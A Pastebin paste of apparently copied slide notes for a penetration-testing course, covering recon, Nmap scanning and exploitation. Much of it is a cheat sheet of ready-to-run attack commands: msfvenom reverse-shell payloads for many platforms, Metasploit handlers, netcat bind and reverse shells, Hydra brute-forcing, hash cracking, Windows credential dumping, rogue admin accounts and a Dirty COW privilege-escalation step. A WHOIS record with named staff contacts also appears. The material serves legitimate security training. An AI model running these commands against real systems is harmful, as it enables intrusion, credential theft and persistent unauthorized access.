Guest User

Untitled

a guest
Feb 20th, 2020
469
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.04 KB | None | 0 0
  1. Razboi cibernetic
  2. Introduction
  3. - Definition of Penetration Testing
  4. - Who needs Penetration Testing?
  5. - Penetration Testing Viewpoints
  6. - Phases of Penetration Testing
  7. - Reconnaissance and Information Gathering
  8. - Network Enumeration and Scanning
  9. - Vulnerability Testing and Exploitation
  10. - Reporting
  11. Penetration Testing
  12. Definition of Penetration Testing:
  13. - A penetration test or pentest is a test evaluating the strengths of all
  14. security controls on the computer system. Penetration tests evaluate
  15. procedural and operational controls as well as technological
  16. controls.
  17. Who needs Penetration Testing
  18. - Banks/Financial Institutions, Government Organizations, Online
  19. Vendors, or any organization processing and storing private
  20. information
  21. - Most certifications require or recommend that penetration tests be
  22. performed on a regular basis to ensure the security of the system.
  23. - PCI Data Security Standard's Section 11.3 requires organizations
  24. to perform application and penetration tests at least once a year.
  25. - HIPAA Security Rule's section 8 of the Administrative Safeguards
  26. requires security process audits, periodic vulnerability analysis and
  27. penetration testing.
  28. Penetration Testing Viewpoints
  29. -External vs. Internal
  30. Penetration Testing can be performed from the viewpoint of an
  31. external attacker or a malicious employee.
  32. - Overt vs. Covert
  33. Penetration Testing can be performed with or without the
  34. knowledge of the IT department of the company being tested.
  35. Phases of Penetration Testing
  36. - Reconnaissance and Information Gathering
  37. - Network Enumeration and Scanning
  38. - Vulnerability Testing and Exploitation
  39. - Reporting
  40. Reconnaissance and Information Gathering
  41. Purpose: To discover as much information about a target
  42. (individual or organization) as possible without actually making
  43. network contact with said target.
  44. Methods:
  45. • Organization info discovery via WHOIS
  46. • Google search
  47. • Website browsing
  48. WHOIS Results for www.clemson.edu
  49. Domain Name: CLEMSON.EDU
  50. Registrant:
  51. Clemson University
  52. 340 Computer Ct
  53. Anderson, SC 29625
  54. UNITED STATES
  55. Administrative Contact:
  56. Network Operations Center
  57. Clemson University
  58. 340 Computer Court
  59. Anderson, SC 29625
  60. UNITED STATES
  61. (864) 656-4634
  62. noc@clemson.edu
  63. Technical Contact:
  64. Mike S. Marshall
  65. DNS Admin
  66. Clemson University
  67. Clemson University
  68. 340 Computer Court
  69. Anderson, SC 29625
  70. UNITED STATES
  71. (864) 247-5381
  72. hubcap@clemson.edu
  73. Name Servers:
  74. EXTNS1.CLEMSON.EDU 130.127.255.252
  75. EXTNS2.CLEMSON.EDU 130.127.255.253
  76. EXTNS3.CLEMSON.EDU 192.42.3.5
  77. Network Enumeration and Scanning
  78. Purpose: To discover existing networks owned by a target as well
  79. as live hosts and services running on those hosts.
  80. Methods:
  81. • Scanning programs that identify live hosts, open ports, services, and other
  82. info (Nmap, autoscan)
  83. • DNS Querying
  84. • Route analysis (traceroute)
  85. Begin Scanning
  86. • Survey the network in any case whether you know the network diagram
  87. or are blind testing
  88. • Scans include all devices on the network, their Operating System, open
  89. ports, and services running
  90. • If feasible, look for open access ports to the network in discreet areas.
  91. • Ideal for placing your own wireless access points
  92. Network Scans
  93. •Try the low hanging fruit
  94. • Check network places and shared drives for unrestricted access.
  95. • Copy machines may have onboard hard drives with file sharing
  96. • Users may know enough to be dangerous sharing folders
  97. NMAP
  98. •Network scanner
  99. •Identifies devices and Operating Systems
  100. •More quiet than pinging devices
  101. •Uses the REQ,ACK,SYN for communications
  102. •Returns open ports and has options for more stealthy operations on
  103. a sensitive network
  104. Nmap Port Scan types
  105. • Scan a single IP nmap 192.168.1.1
  106. • Scan a host nmap www.testhostname.com
  107. • Scan a range of IPs nmap 192.168.1.1-20
  108. • Scan a subnet nmap 192.168.1.0/24
  109. • Scan targets from a text file nmap -iL list-of-ips.txt
  110. • Scan using TCP connect nmap -sT 192.168.1.1
  111. • Scan using TCP SYN scan (default) nmap -sS 192.168.1.1
  112. • Scan UDP ports nmap -sU -p 123,161,162 192.168.1.1
  113. • Scan selected ports - ignore discovery nmap -Pn -F
  114. 192.168.1.1
  115. Nmap Port Scan types
  116. Detect OS and Services nmap -A 192.168.1.1
  117. Standard service detection nmap -sV 192.168.1.1
  118. More aggressive Service Detection nmap -sV --versionintensity
  119. 5 192.168.1.1
  120. Lighter banner grabbing detection nmap -sV --versionintensity
  121. 0 192.168.1.1
  122. Save default output to file nmap -oN outputfile.txt
  123. 192.168.1.1
  124. Save results as XML nmap -oX outputfile.xml 192.168.1.1
  125. Save results in a format for grep nmap -oG outputfile.txt
  126. 192.168.1.1
  127. Save in all formats nmap -oA outputfile 192.168.1.1
  128. Nmap Results
  129. nmap -sS 127.0.0.1
  130. 123
  131. Starting Nmap 4.01 at 2018-07-06 17:23 BST
  132. 4 Interesting ports on chaos (127.0.0.1):
  133. 5 (The 1668 ports scanned but not shown below are in state: closed)
  134. 6 PORT STATE SERVICE
  135. 7 21/tcp open ftp
  136. 8 22/tcp open ssh
  137. 9 631/tcp open ipp
  138. 10 6000/tcp open X11
  139. 11
  140. 12 Nmap finished: 1 IP address (1 host up) scanned in 0.207
  141. 13 seconds
  142. Vulnerability Scanners
  143. •Nessus
  144. • Free for personal use
  145. • Linux can use apt-get
  146. • Windows can download
  147. • Requires registration before usage
  148. •openVAS
  149. • Spin off of Nessus
  150. • http://www.openvas.org/
  151. Nessus
  152. •Enumerates vulnerabilities per device
  153. •Web GUI provides easy usage and real-time enumerations
  154. •Works with Metasploit to provide a scan and attempt at known
  155. vulnerabilities
  156. • Requires database for saving Nessus scans
  157. •Use the “Search” in Metasploit to find modules relating to scans to
  158. begin probing
  159. John the Ripper
  160. •Offline password cracker
  161. •Used on SAM dumps, LANMAN, most types of password hashes
  162. • Windows keeps local user account hashes in the Security Accounts Manager (SAM)
  163. database
  164. •Can also be used to generate mangled wordlists for uses with other tools.
  165. • Know the how to write rules in john.conf file
  166. • Output file can be in a txt format
  167. • Remember the john.pots file
  168. Medusa or Hydra
  169. •Online password cracking
  170. •Great for dictionary attacks (wordlists)
  171. •Best if used on known open ports
  172. •Wordlists can be found online and mangled with JTR for more complex
  173. P@55w0rds!
  174. Pointers When Using Tools
  175. •Read any precautionary comments before starting. Some exploits could
  176. cause damage to databases or resources costing your client money
  177. •Try not to use client’s network to do quick research, it could contaminate
  178. results
  179. •Advise IT staff of certain network loading tests and log expectations
  180. •Ask, when in doubt if a critical resource is discovered vulnerable, about
  181. exploiting
  182. •Proof-of-concept may be all that is needed
  183. Finding Public Exploits
  184. • Exploit-DB
  185. • http://www.exploit-db.com/
  186. • Searchsploit
  187. • The exploit-db collection of exploits is mirrored locally on Kali machines. Using the command searchsploit <search
  188. term> you can bring up a listing of exploits. Be aware that the search must be in all lower case.
  189. • Metasploit
  190. • Metasploit has a range of exploits built in and can be searched with the “search” command. You can also grep the
  191. search results with the syntax “grep <grep term> search <search term>”. Filters are also provided to let you narrow
  192. down your search specifically to exploits if desired.
  193. • SecurityFocus
  194. • http://www.securityfocus.com/
  195. • Although in my opinion not as comprehensive as exploit-db you still occasionally turn up a working proof of concept
  196. at security focus that isn’t mirrored elsewhere. In general a good site to check.
  197. • 1337Day
  198. • http://1337day.com/
  199. • I can’t speak for the reliability of the site as I haven’t used it much, however this is another resource when searching
  200. for exploits. Semi-0 day (for want of a better term) exploits are sometimes also sold here before eventually leaking
  201. out to everyone.
  202. Metasploit
  203. •Metasploit is an open source platform
  204. • supports vulnerability research
  205. • exploit development
  206. • creation of custom security tools
  207. •Included in BackTrack distributions
  208. •Recommend intense training to master
  209. •Metasploitable VM download
  210. Metasploit
  211. • List payloads
  212. • msfvenom -l
  213. • Binaries
  214. • Linux
  215. • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf >
  216. shell.elf
  217. • Windows
  218. • msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe >
  219. shell.exe
  220. • Mac
  221. • msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho >
  222. shell.macho
  223. • Web Payloads
  224. • PHP
  225. • msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
  226. • cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
  227. • ASP
  228. • msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp >
  229. shell.asp
  230. • JSP
  231. • msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
  232. • WAR
  233. • msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
  234. Metasploit
  235. • Scripting Payloads
  236. • Python
  237. • msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On>
  238. -f raw > shell.py
  239. • Bash
  240. • msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f
  241. raw > shell.sh
  242. • Perl
  243. • msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f
  244. raw > shell.pl
  245. • Shellcode
  246. • For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom
  247. will output code that is able to be cut and pasted in this language for your exploits.
  248. • Linux Based Shellcode
  249. • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your
  250. Port to Connect On> -f <language>
  251. • Windows Based Shellcode
  252. • msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your
  253. Port to Connect On> -f <language>
  254. • Mac Based Shellcode
  255. • msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to
  256. Connect On> -f <language>
  257. Metasploit
  258. • Handlers
  259. • Metasploit handlers can be great at quickly setting up
  260. Metasploit to be in a position to receive your incoming
  261. shells. Handlers should be in the following format.
  262. • use exploit/multi/handler
  263. • set PAYLOAD <Payload name>
  264. • set LHOST <LHOST value>
  265. • set LPORT <LPORT value>
  266. • set ExitOnSession false
  267. • exploit -j -z
  268. • Once the required values are completed the following
  269. command will execute your handler – ‘msfconsole -L -r ‘
  270. What is Happening...
  271. •Known vulnerability occurs in victim
  272. •Related exploit is set in Metasploit
  273. •Options are configured for the victim
  274. •Payloads are viewed and selected
  275. • Payloads are what the attacker wishes to happen
  276. •Exploit occurs causing the victim process to crash
  277. •Payload is triggered
  278. Pushing Greater Limits
  279. •Metasploit offers much more than the scope of this presentation
  280. • Fuzzing protocols like IMAP and TFTP
  281. • Writing fuzzers can become the first step to creating new exploits
  282. • Good for protocols on the network that have no known module
  283. • Password sniffing on the wire
  284. • Creating backdoors to maintain access
  285. Wrapping Up The Audit
  286. •Check for any open activities
  287. •Confer with IT staff that all network activity is normal
  288. •Ensure all documentation is collected
  289. Post-Audit
  290. •Generate documentation of all work performed
  291. • Official audit report to the client
  292. • Should incorporate summaries, details, and exhibits
  293. • Include screenshots and pictures taken
  294. • Describe details of each action and what threat it presents
  295. Presentation
  296. •In most cases, a brief presentation to client and selected staff will be
  297. performed
  298. • Include most significant threats discovered and solutions
  299. • Emphasize the impact of all negative findings to the business
  300. • Include positive notes where security was solid
  301. Post-Audit Report
  302. •Audit report is a confidential document to the client
  303. •It is an official report that will be integrated into reports of other audits
  304. for that client
  305. •Use encryption if delivering by email
  306. •Exercise infosec in all cases regardless of method used for
  307. communications
  308. •Be thorough, use passive writing, use pictures
  309. Vulnerability Testing and Exploitation
  310. Purpose: To check hosts for known vulnerabilities and to see if they
  311. are exploitable, as well as to assess the potential severity of said
  312. vulnerabilities.
  313. Methods:
  314. • Remote vulnerability scanning (Nessus, OpenVAS)
  315. • Active exploitation testing
  316. o Login checking and bruteforcing
  317. o Vulnerability exploitation (Metasploit, Core Impact)
  318. o 0day and exploit discovery (Fuzzing, program analysis)
  319. o Post exploitation techniques to assess severity (permission
  320. levels, backdoors, rootkits, etc)
  321. Reporting
  322. Purpose: To organize and document information found during the
  323. reconnaissance, network scanning, and vulnerability testing phases of
  324. a pentest.
  325. Methods:
  326. • Documentation tools (Dradis)
  327. o Organizes information by hosts, services, identified hazards and
  328. risks, recommendations to fix problems
  329. Connect to a remote system
  330. • Terminal = An interface that provides a display for output and a key board
  331. for input to a shell session .
  332. • Shell = Interpreter that executes commands typed as string
  333. • Console: Actually two types of console we use
  334. • Physical console=The hardware display and keyboard used to interact
  335. with a system
  336. • Virtual console= One of multiple logical consoles that can each support
  337. an independent login session.
  338. • tty(teletype ie terminal). = A terminal is a basically just a user interface
  339. device that uses text for input and output.message.
  340. Spawning a TTY Shell
  341. • Often during pen tests you may obtain a shell without having tty, yet wish to interact further with the
  342. system. Here are some commands which will allow you to spawn a tty shell. Obviously some of this will
  343. depend on the system environment and installed packages.
  344. • python -c 'import pty; pty.spawn("/bin/sh")'
  345. • echo os.system('/bin/bash')
  346. • /bin/sh -i
  347. • perl —e 'exec "/bin/sh";'
  348. • perl: exec "/bin/sh";
  349. • ruby: exec "/bin/sh"
  350. • lua: os.execute('/bin/sh')
  351. • (From within IRB)
  352. • exec "/bin/sh"
  353. • (From within vi)
  354. • :!bash
  355. • (From within vi)
  356. • :set shell=/bin/bash:shell
  357. • (From within nmap)
  358. • !sh
  359. Netcat
  360. • Connect to a TCP Port
  361. • nc -nv <IP Address> <Port>
  362. • Listen on a TCP Port
  363. • nc -lvp <port>
  364. • Connect and receive a HTTP Page
  365. • nc -nv <IP Address> 80
  366. • HEAD / HTTP/1.1
  367. • Transferring a File
  368. • nc -lvp 4444 >output.txt # Receiving End
  369. • nc -nv <IP Address> < input.txt # Sending End
  370. • Set up a Netcat Bind Shell (Windows)
  371. • nc -lvp 4444 -e cmd.exe
  372. • nc -nv <IP Address> 4444 # Connect to the shell
  373. • Set up a Netcat Bind Shell (Linux)
  374. • nc -lvp 4444 -e /bin/sh
  375. • nc -nv <IP Address> 4444 # Connect to the shell
  376. • Set up a Netcat Reverse Shell (Windows)
  377. • nc -lvp 443 # Attacker listening for connection
  378. • nc -nv <IP Address> 443 -e cmd.exe
  379. • Set up a Netcat Reverse Shell (Linux)
  380. • nc -lvp 443
  381. • nc -nv <IP Address> 443 -e /bin/sh
  382. • Netcat as a Port Scanner
  383. • nc -z <IP Address> <Port Range in abc - xyz format>
  384. Cracking Network Passwords
  385. (Hydra)
  386. • Basic Syntax
  387. • hydra -l/-L <user name / user list> -p/-P <password / password list>
  388. <protocol://hostname>
  389. • Break Down
  390. • -l/-L : Only one of these is needed. Little l is for nominating a single username,
  391. capital is for a username list
  392. • -p/-P : Only one of these is needed again. Little p for a single password, capital
  393. p for a password list.
  394. • <protocol://hostname> : This specifies the target and protocol. For example
  395. cracking ssh on 192.168.1.1 would be ssh://192.168.1.1, while ftp on 10.1.2.3
  396. would be ftp://10.1.2.3
  397. • Example
  398. • hydra -l bob -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.15 # Cycle
  399. through a wordlist trying to log in as bob over ssh on 192.168.1.1
  400. • hydra -L usernames.txt -p password 192.168.1.1 http-get / -s 80 # Cycle
  401. through a list of usernames and try and log into the router at
  402. http://192.168.1.1:80/ with the password 'password'
  403. Generating Wordlists
  404. • Obtaining a Relevant Password List
  405. • cewl http://netsec.ws/ -d 1 -m 6 -w netsec.txt
  406. • Breaking this down we’ll be crawling netsec.ws and (-d) 1 link layer deep from the main page. The minimum length of words we’re going to be
  407. keeping is 6 characters, and we’re saving the output to a text file netsec.txt. Testing the result we have accumulated a lot of passwords directly
  408. related to netsec.ws and it’s content.
  409. • wc -l netsec.txt
  410. • 1741 netsec.txt
  411. • Building Off a Solid Foundation
  412. • Now we have a solid list of candidate passwords we often want to build off this by mutating the passwords according to particular rules. John the
  413. ripper provides awesome functionality for this with their wordlist rules. They can be viewed and added to in the file located at /etc/john/john.conf
  414. under ‘#Wordlist mode rules’. Some examples are,
  415. • # Try words as they are
  416. • :
  417. • # Lowercase every pure alphanumeric word
  418. • -c >3 !?X l Q
  419. • # Capitalize every pure alphanumeric word
  420. • -c (?a >2 !?X c Q
  421. • # Lowercase and pluralize pure alphabetic words
  422. • <* >2 !?A l p
  423. • # Lowercase pure alphabetic words and append '1'
  424. • <* >2 !?A l $1
  425. • john ---wordlist=netsec.txt --rules --stdout > netsec-mutated.txt
  426. Identifying Hashes (Hash
  427. Identifier)
  428. • Often when you wish to crack a hash you need to identify what
  429. type of has it is so you can successfully configure oclHashcat or
  430. your favorite cracking tool. Hash-identifier is a nifty tool built into
  431. Kali which will allow you to print out the most likely hash format.
  432. • Tool
  433. • hash-identifier
  434. • Usage
  435. • Call the program and paste in your hash
  436. • hash-identifier
  437. • Example
  438. Cracking Hashes (oclHashcat)
  439. • Basic Syntax
  440. • oclHashcat -m <hash type><hash list> <word list> -o <found list> --remove
  441. • Break Down
  442. • -m : signifies the type of hash being attacked. A list of hash types and their
  443. value can be found here –
  444. http://hashcat.net/wiki/doku.php?id=example_hashes
  445. • : a text file containing a list of all the hashes you wish to attack. Can be an
  446. individual hash if you wish.
  447. • : a file containing likely passwords.
  448. • -o : store recovered values in a separate file
  449. • –remove : remove successfully recovered hashes from the original list. Useful
  450. for running the same file against several lists without having to waste time
  451. searching for hashes already broken.
  452. • Example
  453. • oclhashcat -m 500 example500.hash /usr/share/wordlists/rockyou.txt -o
  454. found.txt
  455. Obtaining Windows Passwords
  456. • NT Hashes
  457. • Newer Windows operating systems use the NT hash. In simple terms there is no significant
  458. weakness in this hash that sets it apart from any other cryptographic hash function. Cracking
  459. methods such as brute force, rainbow tables or word lists are required to recover the password
  460. if it’s only stored in the NT format.
  461. • An example of a dumped NTLM hash with only the NT component (as seen on newer systems.
  462. • Administrator:500:NO
  463. PASSWORD*********************:EC054D40119570A46634350291AF0F72:::
  464. • It’s worth noting the “no password” string is variable based on the tool. Others may present
  465. this information as padded zeros, or commonly you may see the string
  466. “AAD3B435B51404EEAAD3B435B51404EE” in place of no password. This signifies that the LM
  467. hash is empty and not stored.
  468. • Location
  469. • The hashes are located in the Windows\System32\config directory using both the SAM and
  470. SYSTEM files. In addition it’s also located in the registry file HKEY_LOCAL_MACHINE\SAM
  471. which cannot be accessed during run time. Finally backup copies can be often found in
  472. Windows\Repair.
  473. Obtaining Windows Passwords
  474. • Tool – PwDump7 – http://www.tarasco.org/security/pwdump_7/
  475. • This tool can be executed on the system machine to recover the system hashes. Simply
  476. download the run the binary with at least administrator account privileges.
  477. • Tool – Windows Credential Editor – http://www.ampliasecurity.com/
  478. • Windows Credentials Editor (WCE) is great for dumping passwords that are in memory.
  479. Personally I typically use it with the -w flag to dump passwords in clear text. This can
  480. often net you passwords that are infeasible to get any other way.
  481. • Tool – Meterpreter
  482. • If you have a meterpreter shell on the system, often you can get the hashes by calling the
  483. hashdump command.
  484. • Method – Recovery Directory
  485. • Occasionally you may not have direct access to the file required, or perhaps even
  486. command line interaction with the victim. An example of this would be a local file
  487. inclusion attack on a web service. In those cases it’s recommended you try and recover
  488. the SYSTEM and SAM directories located in the Windows\Repair directory.
  489. Simple Windows Commands
  490. • Check Who You Are
  491. • echo %USERDOMAIN%\%USERNAME
  492. • whoami
  493. • Check Windows Version
  494. • systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
  495. • Add a User
  496. • net user <username> <password> /add</password></username>
  497. • Add a User to the Administrators Group
  498. • net localgroup administrators <username> /add
  499. • Getting from Administrator to System
  500. • psexec -s cmd.exe
  501. • Getting system with Meterpreter
  502. • getsystem
  503. • (from the meterpreter shell)
  504. • Changing a Users Password
  505. • net user <username> <password>
  506. • View Domain Groups
  507. • net group /domain
  508. • View Members of Domain Group
  509. • net group /domain <Group Name>
  510. Simple Linux Commands
  511. • Requesting a DHCP IP Address
  512. • dhclient <interface></interface>
  513. • Setting a Static IP Address
  514. • ifconfig <interface> <ip address>/<cidr>
  515. • route add default gw <gateway IP Address>
  516. • echo nameserver <nameserver / Gateway IP Address> >
  517. /etc/resolv.conf</nameserver></gateway></cidr></ip></interface>
  518. • Enable service at boot
  519. • update-rc.d <service> enable
  520. • Isolate a particular field (Cutting)
  521. • cat <filename> | cut -d <delimiter for each field> -f <field number, other field numbers> > output.txt
  522. • Find and replace instances in a file (sed)
  523. • cat file.txt | sed -e "s/<instance to find>/<instance to replace it with>/g" > output.txt
  524. • Remove End Characters
  525. • cat file.txt | rev | cut -c<how many characters you want removed+1> | rev > output.txt
  526. • Merge Two Files Side by Side
  527. • paste -d" " <first file> <second file> > <output file>
  528. • Tar all files in a directory
  529. • tar -cvf newtarfile.tar targetdir/
  530. • Grep all files in a directory and subdirectory (print path to found files)
  531. • grep -H -i -r "Search Text" targetdir/
  532. Linux Privilege Escalation Scripts
  533. • LinEnum
  534. • http://www.rebootuser.com/?p=1758
  535. • This tool is great at running through a heap of things you should check on a Linux
  536. system in the post exploit process. This include file permissions, cron jobs if visible,
  537. weak credentials etc. The first thing I run on a newly compromised system.
  538. • LinuxPrivChecker
  539. • http://www.securitysift.com/download/linuxprivchecker.py
  540. • This is a great tool for once again checking a lot of standard things like file
  541. permissions etc. The real gem of this script is the recommended privilege
  542. escalation exploits given at the conclusion of the script. This is a great starting point
  543. for escalation.
  544. • g0tmi1k’s Blog
  545. • http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
  546. • Not so much a script as a resource, g0tmi1k’s blog post here has led to so many
  547. privilege escalations on Linux system’s it’s not funny. Would definitely recommend
  548. trying out everything on this post for enumerating systems.
  549. WEB APPLICATION PENETRATION
  550. WEB APPLICATION PENETRATION
  551. WEB APPLICATION PENETRATION
  552. WEB APPLICATION PENETRATION
  553. Lab – hands on
  554. • Scanning network
  555. • Nmap, nikto, gobuster nmap –sV –sC (ip
  556. address)
  557. • Use the LFI
  558. • Export Base64 pages
  559. • Discover user’s credentials
  560. • Remote connect to services exposed
  561. • Upload a shell
  562. • https://github.com/pentestmonkey/php-reverse-shell
  563. Lab – hands on
  564. Lab – hands on
  565. • https://www.exploit-db.com/exploits/40616/
  566. • gcc cow32.c -o cowroot -pthread 2>/dev/null
  567. • $ python -c ‘import pty; pty.spawn(“/bin/bash”)’
  568. • Deconstructing an ELF File
  569. • This let us know that the program is trying to call the cat command to
  570. view the contents of a file called msg.txt available under the home
  571. directory of a user called mike. Moreover, let’s recall the the file is SUID.
  572. What should we do now?
  573. • There is a popular technique where attackers manage to manipulate the
  574. $PATH bash environmental to escalate their privileges. Imagine what
  575. would happen if we edit the $PATH variable and instead of the default
  576. value we put a new one, a simple dot (.). Whenever a program
  577. (executable) is called, bash will look at the “.” directory for the program
  578. instead of /usr/local/bin, /usr/bin and more. Let’s see what this mean.
  579. Lab – hands on
  580. From what we can see, we have an
  581. ELF 32-bit LSB executable. When
  582. executing the file, we get the
  583. following error:
  584. Lab – hands on
  585. Lab – hands on
  586. Gather experience
  587. • https://www.abatchy.com/2017/02/osc
  588. p-like-vulnhub-vms
Add Comment
Please, Sign In to add comment